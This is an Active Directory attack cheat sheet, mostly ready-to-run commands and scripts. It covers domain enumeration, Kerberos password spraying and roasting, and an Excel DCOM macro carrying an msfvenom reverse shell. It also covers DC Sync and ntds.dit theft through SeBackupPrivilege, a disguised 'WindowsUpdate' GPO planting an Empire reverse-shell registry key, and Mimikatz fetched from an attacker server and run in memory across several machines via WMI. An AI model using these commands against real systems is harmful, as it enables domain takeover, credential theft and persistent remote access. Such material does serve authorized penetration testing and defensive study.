

# Enumeration

## Enumeration with PowerView.ps1

**Enumerating logged in users in the current workstation and the domain controller.**

Use powerview script from powersploit and import it to powershell

<https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon>

**Get current logged-in users on the currently compromised workstation**

```
<PS C:\Tools\active_directory> Get-NetLoggedon -  
ComputerName client251>
```

**Get current active sessions on the domain controller**

```
<PS C:\Tools\active_directory> Get-NetSession -  
ComputerName dc01>
```

**Metasploit and powersploit Active Directory"**

```
load powershell  
powershell_import /root/Desktop/PowerView.ps1  
powershell_execute Get-NetDomain
```

## Enumerating Local Admins

```
Powershell_execute Invoke-EnumerateLocalAdmin
```

## Enumerating all hosts and domain controllers

```
powershell_import /root/Desktop/HostEnum.ps1  
powershell_shell Invoke-HostEnum -Local -Domain
```

## Host Recon

```
powershell_import /root/Desktop/HostRecon.ps1  
powershell_execute Invoke-HostRecon
```

## Enumerating and interacting with RPC clients

Usually run on port 111

## Logging in

```
root@kali:Rpcclient [ip-or dns name] -U 'username'
```

## Logging in with hash

```
root@kali:Rpcclient --pw-nt-hash -U [username] [ip-or-domain]
```

## Querying and displaying info after logging in

```
rpcclient $>querydispinfo
```

## Display users

```
rpcclient $> enumdomusers
```

## Display privileges

```
rpcclient $> enumprivs
```

## Display Printers

```
rpcclient $> enumprinters
```

## Enumerating and interacting with MSRPC TCP 135

## Listing Current RCP mappings and interfaces [requires impacket]

```
root@kali:python rpcmap.py 'ncacn_ip_tcp:10.10.10.213'
```

# Identifying hosts and other endpoints

```
root@kali:python IOXIDResolver.py -t 10.10.10.21
```

## Finding if its vulnerable to PrintNightMare or print spooler service vulnerability CVE-2021-1675 / CVE-2021-34527

```
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
```

rpcdump.py is part of impacket tools.

## Powershell Script for user enumeration

```
$domainObj =  
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu  
rrentDomain()  
$PDC = ($domainObj.PdcRoleOwner).Name  
$SearchString = "LDAP://"  
$SearchString += $PDC + "/"  
$DistinguishedName = "DC=$($domainObj.Name.Replace('.','  
' ,DC=''))"  
$SearchString += $DistinguishedName  
$Searcher = New-Object  
System.DirectoryServices.DirectorySearcher([ADSI]$Search  
String)  
$objDomain = New-Object  
System.DirectoryServices.DirectoryEntry
```

```
$Searcher.SearchRoot = $objDomain  
$Searcher.filter="samAccountType=805306368"  
$Searcher.FindAll()
```

## Enumerating specific user accounts

```
$domainObj =  
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu  
rrentDomain()  
$PDC = ($domainObj.PdcRoleOwner).Name  
$SearchString = "LDAP://" + $PDC + "/"  
$DistinguishedName = "DC=$($domainObj.Name.Replace('.','  
,DC='))"  
$SearchString += $DistinguishedName  
$Searcher = New-Object  
System.DirectoryServices.DirectorySearcher([ADSI]$Search  
String)  
$objDomain = New-Object  
System.DirectoryServices.DirectoryEntry  
$Searcher.SearchRoot = $objDomain  
$Searcher.filter="name=[account-name]"  
$Searcher.FindAll()  
Foreach($obj in $Result)  
{  
    Foreach($prop in $obj.Properties)  
{  
        $prop  
    }  
}
```

```
Write-Host "-----"  
}
```

# Enumerating Groups

```
$domainObj =  
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()  
  
$PDC = ($domainObj.PdcRoleOwner).Name  
  
$SearchString = "LDAP://" + $PDC + "/"  
  
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',''),DC=''))"  
  
$SearchString += $DistinguishedName  
  
$Searcher = New-Object  
System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)  
  
$objDomain = New-Object  
System.DirectoryServices.DirectoryEntry  
$Searcher.SearchRoot = $objDomain  
$Searcher.filter="(objectClass=Group)"  
  
$Result = $Searcher.FindAll()  
  
Foreach($obj in $Result)  
{  
    $obj.Properties.name  
}  
  
Enumerating specific group and its members  
  
$domainObj =  
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```

```

$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$Search
String)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=[group-name])"
$result = $Searcher.FindAll()
Foreach($obj in $result)
{
    $obj.Properties.member
}

```

**Enumerating service principal names to figure out the running services on the domain controller. In the example below, we enumerate for 'http'.**

```

$domainObj =
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu
rrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name

```

```
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.','
',',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$Search
String)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$result = $Searcher.FindAll()
Foreach($obj in $result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
}
```

## Enumerating usernames and Tickets on Kereberos

```
<root@kali:./kerbrute_linux_amd64 userenum -d
pentesting.local -dc [ip] [path-to-usernames-wordlist]>
```

## Check if a user among users in Active directory has a specified password in the

## **input [Password Spray]**

```
<root@kali:./kerbrute_linux_amd64 passwordspray -v -d  
pentesting.local -dc [ip] [users-list.txt] [the  
password]>
```

#or

```
<root@kali:python3 /usr/share/doc/python3-  
impacket/examples/lookupsid.py anonymous@10.10.171.0 |  
tee usernames>
```

## **Getting password hashes and TGTs for identified users in the previous Kereberos enumeration [ASREP ROASTING]**

```
<root@kali:python3 GetNPUsers.py -dc-ip [ip]  
pentesting.local/ -usersfile [list-of-found-users-from-  
command-above]>
```

## **Brute forcing usernames and passwords with Kereberos**

```
<root@kali:python kerbrute.py -domain pentesting.local -  
users users.txt -passwords passwords.txt -outputfile  
passwords-found.txt>
```

## **[Keberosting using cracked credentials]**

```
<root@kali:python3 /usr/share/doc/python3-impacket/examples/ GetUserSPNs.py -dc-ip 10.10.171.0 'vulnnet-rst.local/t-skid:tj072889*' -outputfile kerberoasting_hashes.txt>
```

## enumerating registry hives given a username and password hash

```
<root@kali: reg.py htb.local/henry.vinson@apt.htb - hashes  
aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb  
4a876cbffb query -keyName HKCU -s>
```

## Enumerating Powershell history

```
PS  
C:\\\\Users\\\\henry.vinson\\\\_adm\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline>
```

## Password cracking

### Given ntds.dit and registry file system

```
<root@kali:python secretsdump.py -system registry/SYSTEM  
-ntds Active\\\\ Directory/ntds.dit LOCAL > backup_ad_dump  
>
```

or

```
<root@kali:pythonsecretsdump.py -system registry/SYSTEM  
-ntds Active\ Directory/ntds.dit -hashes lmhash:nthash  
LOCAL -output hashes-output >
```

## Brute forcing a user hash given a list of users and hashes by performing retrieving TGTs

Use the script below to iterate through the usernames and hashes.

getTGT.py is within impacket

```
#!/bin/bash  
  
#Request the TGT with hash  
  
for i in $(cat wordlists/valid.usernames)  
do  
    for j in $(cat wordlists/hashes.ntds)  
    do  
        echo trying $i:$j  
        echo  
        getTGT.py htb.local/$i \-hashes $j:$j  
        echo  
        sleep 5  
    done  
done
```

# Exploitation

## Exploiting Active Directory using DCOM with Macro-Enabled MS Excel

This exploitation technique requires admin privilege on the compromised workstation.

First we need to create an excel file with macro inside of it. The content of the macro can be a cmd process like below

```
Sub mymacro()
    Shell ("cmd.exe")
End Sub
```

Or it can be a Metasploit payload that we can create as the following:

```
<root@kali:~$msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.1.111 LPORT=4444 -f hta-psh -o macro.hta>
```

Next step is extracting a specific line that starts with powershell and ends with payload value. It looks like the following:

```
#"powershell.exe -nop -w hidden -e
aQBmACgAWwBJAG4AdABQ....."
```

Then we need to create a python script to split the payload lines in order to bypass the size limit on literal strings imposed

by excel.

The python script

```
str = "powershell.exe -nop -w hidden -e  
aQBmACgAWwBJAG4AdABQ....."  
n = 50  
for i in range(0, len(str), n):  
    print "Str = Str + " + ' ' ' + str[i:i+n] + ' ' '
```

Then we paste the results in the excel macro and it will look like the following:

```
Sub MyMacro()  
Dim Str As String  
Str = Str + "powershell.exe -nop -w hidden -e  
aQBmACgAWwBJAG4Ad"  
Str = Str +  
"ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACKAewA"  
...  
Str = Str +  
"EQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHM"  
Str = Str + "AXQA6ADoAUwB0AGEAcgB0ACgAJABzACKAOwA="  
Shell (Str)  
End Sub
```

We save the excel file and prepare to transfer it over to the domain controller.

Then use the following powershell script to execute the attack while modifying the parameters according to your environment:

```
$com =  
[activator]::CreateInstance([type]::GetTypeFromProgId("E  
xcel.Application", "192  
.168.1.110"))  
$LocalPath = "C:\Users\jeff_admin.corp\myexcel.xls"  
$RemotePath = "\\\\"192.168.1.110\c$\myexcel.xls"  
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)  
$Path =  
"\\\\"192.168.1.110\c$\Windows\sysW0W64\config\systemprofil  
e\Desktop"  
$temp = [system.io.directory]::createDirectory($Path)  
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")  
$com.Run("mymacro")
```

Before executing the powershell script, we need to establish a listener from the compromised workstation we are operating from.

```
<PS C:\Tools\practical_tools> nc.exe -lvpn 4444>
```

After executing this script, CMD process with SYSTEM privilege will be created on the domain controller.

```
PS C:\Tools\practical_tools> nc.exe -lvpn 4444  
listening on [any] 4444 ...  
connect to [192.168.1.111] from (UNKNOWN)  
[192.168.1.110] 59121  
Microsoft Windows [Version 10.0.14393]  
(c) 2016 Microsoft Corporation. All rights reserved.  
C:\Windows\system32>
```

# Performing DC Sync Attack

This attack requires knowledge of some hashes to succeed

```
<root@kali: secretsdump.py htb.local/user@apt.htb \-
hashes
aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82fea
e86a7f798>
```

or

```
<root@kali:secretsdump.py -hashes
:d167c3238864b12f5f82feae86a7f798
'htb.local/APT$@htb.local'>
```

or

```
<root@kali:python3 /usr/share/doc/python3-
impacket/examples/secretsdump.py a-whitehat@10.10.171.0>
```

# Exploiting SeBackupPrivilege

## creating the diskshadow file

```
root@kali$ cat diskshadow.txt
set metadata C:\tmp\tmp.cabs
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% h:
```

# uploading and executing the diskshadow file

```
*Evil-WinRM* PS C:\Users\xyan1d3> mkdir C:\tmp  
*Evil-WinRM* PS C:\tmp> upload diskshadow.txt
```

```
*Evil-WinRM* PS C:\tmp> diskshadow.exe /s  
c:\tmp\diskshadow.txt
```

```
Microsoft DiskShadow version 1.0  
Copyright (C) 2013 Microsoft Corporation  
On computer: HAVEN-DC, 7/16/2021 3:45:19 PM
```

```
-> set metadata C:\tmp\tmp.cabs  
-> set context persistent nowriters  
-> add volume c: alias someAlias  
-> create  
Alias someAlias for shadow ID {29b531e8-3c00-49f9-925d-  
5e1e3937af13} set as environment variable.  
Alias VSS_SHADOW_SET for shadow set ID {2c73aeea-cdb0-  
47d5-85f8-dfe4dfbdbea6} set as environment variable.
```

```
Querying all shadow copies with the shadow copy set ID  
{2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6}
```

```
* Shadow copy ID = {29b531e8-3c00-49f9-925d-  
5e1e3937af13} %someAlias%  
- Shadow copy set: {2c73aeea-cdb0-47d5-  
85f8-dfe4dfbdbea6} %VSS_SHADOW_SET%  
- Original count of shadow copies = 1  
- Original volume name: \\?
```

```
\Volume{115c1f55-0000-0000-0000-602200000000}\ [C:\]
  - Creation time: 7/16/2021 3:45:20 PM
  - Shadow copy device name: \?\Device\HarddiskVolumeShadowCopy1
    - Originating machine: HAVEN-DC.raz0rblack.thm
      - Service machine: HAVEN-DC.raz0rblack.thm
        - Not exposed
        - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
          - Attributes: No_Auto_Release
Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %someAlias% h:
-> %someAlias% = {29b531e8-3c00-49f9-925d-5e1e3937af13}
The shadow copy was successfully exposed as h:\.
```

## Uploading the DLLs to the target machine

```
root@kali$ wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

root@kali$ wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
```

# **abusing the backup privilege by creating a backup copy of the hashes database**

```
*Evil-WinRM* PS C:\tmp> upload  
SeBackupPrivilegeUtils.dll
```

```
*Evil-WinRM* PS C:\tmp> upload  
SeBackupPrivilegeCmdLets.dll
```

```
*Evil-WinRM* PS C:\tmp> import-module  
.\\SeBackupPrivilegeUtils.dll
```

```
*Evil-WinRM* PS C:\tmp> import-module  
.\\SeBackupPrivilegeCmdLets.dll
```

```
*Evil-WinRM* PS C:\tmp> copy-filesebackupprivilege  
h:\\windows\\ntds\\ntds.dit C:\\tmp\\ntds.dit -overwrite
```

```
*Evil-WinRM* PS C:\\tmp> reg save HKLM\\SYSTEM  
C:\\tmp\\system
```

```
*Evil-WinRM* PS C:\\tmp> download ntds.dit
```

```
*Evil-WinRM* PS C:\\tmp> download system
```

# **Exploitation GenericWrite privileges with Blood Hound**

## **Installation and configs**

```
wget -O - https://debian.neo4j.com/neotechnology.gpg.key  
| sudo apt-key add -  
  
echo 'deb https://debian.neo4j.com stable 4.0' >  
/etc/apt/sources.list.d/neo4j.list  
  
sudo apt-get update  
  
apt-get install apt-transport-https  
  
sudo apt-get install neo4j  
  
systemctl stop neo4j  
  
sudo /usr/bin/neo4j console  
  
../BloodHound.bin --no-sandbox
```

**Execute sharphound.exe on the target machine to generate the zip file which you will transfer to your machine and upload to the GUI**

Sharphound can be found by cloning the below repo  
<https://github.com/BloodHoundAD/BloodHound>

```
.\sharphound.exe
```

**Transfer SharpGPOAbuse and execute**

<https://github.com/byronkg/SharpGPOAbuse>

```
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug"  
--Author vulnnet\administrator --Command "cmd.exe" --  
Arguments "/c net localgroup administrators enterprise-  
security /add" --GPOName "GPNAME"
```

GPNAME: the group policy name to grants access or generic access to the user

## Post exploitation

### Post exploitation with Metasploit to a domain-joined machine

On Meterpreter

```
use incognito  
list_tokens -u
```

the previous command lists all the current tokens of those who logged in before to the machine. The goal is to find a token belonged to the admin of domain controller. Once we impersonate the admin token on the domain controller, we need to establish a new session with powershell for complete access.

For this we need the hostname of the current domain

controller. We type in meterpreter ‘shell’ to convert to ‘shell’ on the windows

```
<C:\Windows\system32>nslookup>  
<set type=all  
< _ldap._tcp.dc._msdcs.sandbox.local
```

This will result in the hostname of the domain controller  
Establishing new session

```
<dsesh = New-PSSession -Computer SANBOXDC>  
<Invoke-Command -Session $dcsesh -ScriptBlock  
{ipconfig}>
```

Then we transfer a malicious executable created with [#shelter](#) to the domain controller

```
Copy-Item "C:\Users\Public\chrome.exe" -Destination  
"C:\Users\Public\" -ToSession $dcsesh
```

In the above case, the malicious file was binded to chrome.exe

Then we execute it

```
Invoke-Command -Session $dcsesh -ScriptBlock  
{C:\Users\Public\chrome.exe}
```

And we will receive the reverse connection in our listener.

```
<impersonate_token pentesting.local\\Administrator>
```

# **Harvesting passwords by viewing the unattend.xml file and sysprep.xml – sysprep.inf**

From Powershell, Execute

```
<PS C:\>Get-Content "c:\windows\panther\unattend.xml" |  
Select-String "Password" -Context 2>
```

# **Harvesting passwords by looking through common file extensions that store passwords**

```
<C:\findstr /si password *.xml *.ini *.txt *.config  
*.bat>
```

# **Creating GPO policy to execute powershell reverse shell on a target pc within domain controller:**

On any windows domain joined machine, execute the followings:

First, we activate and import the Group Policy modules in the PowerShell session available at 10.10.20.118:

```
Ps> Add-WindowsFeature GPMC  
Ps> import-module group-policy
```

Then we create a fake GPO called Windows update  
(We target the domain controller FRSV210):

```
PS> New-GPO -name WindowsUpdate -domain  
SPH.corp -Server FRSV210.sph.corp
```

We only want to target Juliette's account on the  
computer FRPC066, so we restrict the scope of this GPO:

```
PS> Set-GPPermissions -Name "WindowsUpdate" -  
Replace -PermissionLevel GpoApply -TargetName  
"juliette" -TargetType user
```

```
PS> Set-GPPermissions -Name "WindowsUpdate" -  
Replace -PermissionLevel GpoApply -TargetName  
"FRPC066" -TargetType computer
```

```
PS> Set-GPPermissions -Name "WindowsUpdate" -  
PermissionLevel None -TargetName "Authenticated  
Users" -TargetType Group
```

Finally, we link it to the SPH domain to activate it:

```
PS> New-GPLink -Name WindowsUpdate -Domain  
sph.corp -Target "dc=sph,dc=corp" -order 1 -enforced  
yes
```

We go back to the Empire framework on the Front Gun server and generate a new reverse shell agent, base64 encoded this time in order to fit nicely in a registry key:

```
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAHkAUwB0AGUAbQAUAE4ARQBUAC4AUwBlAFIAVgBpAGMARQBQAG8A
aQBuAHQATQBhAG4AQQBHAGUAUgBdADoAOgBFAHgAcABLADMAdAAxADAA
MABDAE8AbgBUAEk
```

We then instruct the GPO we created to set up a ‘Run’ registry key the next time Juliette’s computer polls new settings.

This registry key will execute the PowerShell agent at Juliette’s next login:

```
PS> Set-GPRegistryValue -Name "WindowsUpdate" -key
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer
sion\ -ValueName MSstart -Type String -value
"powershell.exe
-NoP -sta -NonI -Enc WwBTAHk[...]"
```

## Dumping certificates from target machine with powershell and mimikatz in memory:

on the target machine launch the following:

```
PS> $browser = New-Object System.Net.WebClient  
PS> $browser.Proxy.Credentials =  
[System.Net CredentialCache]::DefaultNetworkCredentials  
  
PS>  
IEX($browser.DownloadString("https://raw.githubusercontent.com/Mimikatz.ps1"))  
  
PS> invoke-mimikatz -DumpCerts
```

## Infecting other domain joined machines using wmi method from powerview:

We generate our stager's code on the Front Gun server:

```
(Empire: stager/launcher) > set Listener test  
(Empire: stager/launcher) > generate  
powershell.exe -NoP -sta -NonI -W Hidden -Enc  
WwBTAHkAUwB0AGUAbQAUAE4ARQBUAC4AUwBlAFIAVgBpAGMARQBQAG8A  
aQBuAHQATQBhAG4AQQBHAGUAUgBdADoAOgBFAHgAcABLADMAdAAxADAA  
MABDAE8AbgBUAEk
```

We then include it in a WMI remote call from the 10.10.20.118 machine:

```
PS> invoke-wmimethod -ComputerName FRPC021  
win32_process -name create -argumentlist
```

```
("powershell.exe -NoP -sta -NonI -W Hidden -Enc  
WwBTAHkAUwB0AGUYA...")
```

**Downloading and executing a powershell script in memory ( Mimikatz.ps1 ) to harvest admin password on the targeted domain controller. This script is run directly from the target**

```
$browser = New-Object System.Net.WebClient  
IEX($browser.DownloadString("http://[your-server-ip]:  
[port]/Invoke-Mimikatz.ps1"))  
invoke-Mimikatz
```

**Running the above script on multiple domain joined machines to harvest all passwords**

```
$browser = New-Object System.Net.WebClient  
IEX($browser.DownloadString("http://[your-server-ip]:  
[port]/Invoke-Mimikatz.ps1"))
```

```
invoke-mimikatz -Computer FRSV27, FRSV210,FRSV229,
```

```
FRSV97 |out-file result.txt -Append
```

FRSV2010..are the targeted computer names which you can get by running nslookup on the corresponding IP

Save it as Mimikatz.ps1 and run it.

This script depends and relies on winrm (5985) to be enabled on the target you are running the script from, you can enable it with the following command:

```
Wmic /user:admin /password:password /node:[ip] process call  
create "powershell enable-PSRemoting -force"
```

## **Powershell script that Downloads Mimikatz and executes it on multiple defined machines using WMI. Use it if the above method failed**

Scenario 1:

You have just compromised a domain-joined machine / domain-controller / regular work station and want to harvest the passwords / hashes of other domain-joined machines then you can use the below script to launch it from the host you have just compromised.

Scenario 2:

You have compromised a non domain-joined machine and want to download and execute mimikatz as stealthy as

possible then you can use the script below and stop at the green highlight.

```
$command = '$browser = New-Object System.Net.WebClient;  
IEX($browser.DownloadString("http:// [your-server-ip]:  
[port]/Invoke-Mimikatz.ps1"));  
$machine_name = (get-netadapter | get-netipaddress | ?  
addressfamily -eq "IPv4").ipaddress;invoke-mimikatz |  
out-file c:\windows\temp\$machine_name".txt"'  
$bytes =  
[System.Text.Encoding]::Unicode.GetBytes($command)  
$encodedCommand = [Convert]::ToBase64String($bytes)  
  
$PC_IP = @("[target-ip-1]", "[target-ip-2]")  
ForEach ($X in $PC_IP) {  
$proc = invoke-wmimethod -ComputerName $X  
win32_process -name create -argumentlist ("powershell -  
encodedcommand $encodedCommand")  
$proc_id = $proc.processId  
do {(Write-Host "[*] Waiting for mimi to finish on $X"),  
(Start-Sleep -Seconds 2)} until (((Get-WMIObject -Class  
Win32_process -Filter "ProcessId=$proc_id" -ComputerName  
$X | where {$_.ProcessId -eq $proc_id}).ProcessID -eq  
$null)  
move-item -path "\\\$X\C$\windows\temp\$X.txt" -  
Destination C:\users\Administrator\desktop\ -force  
write-host "[+] Got file for $X" -foregroundcolor  
"green"  
}
```

```
write-host $encodedCommand [include this command if you  
are running this script for a single host and stop here].
```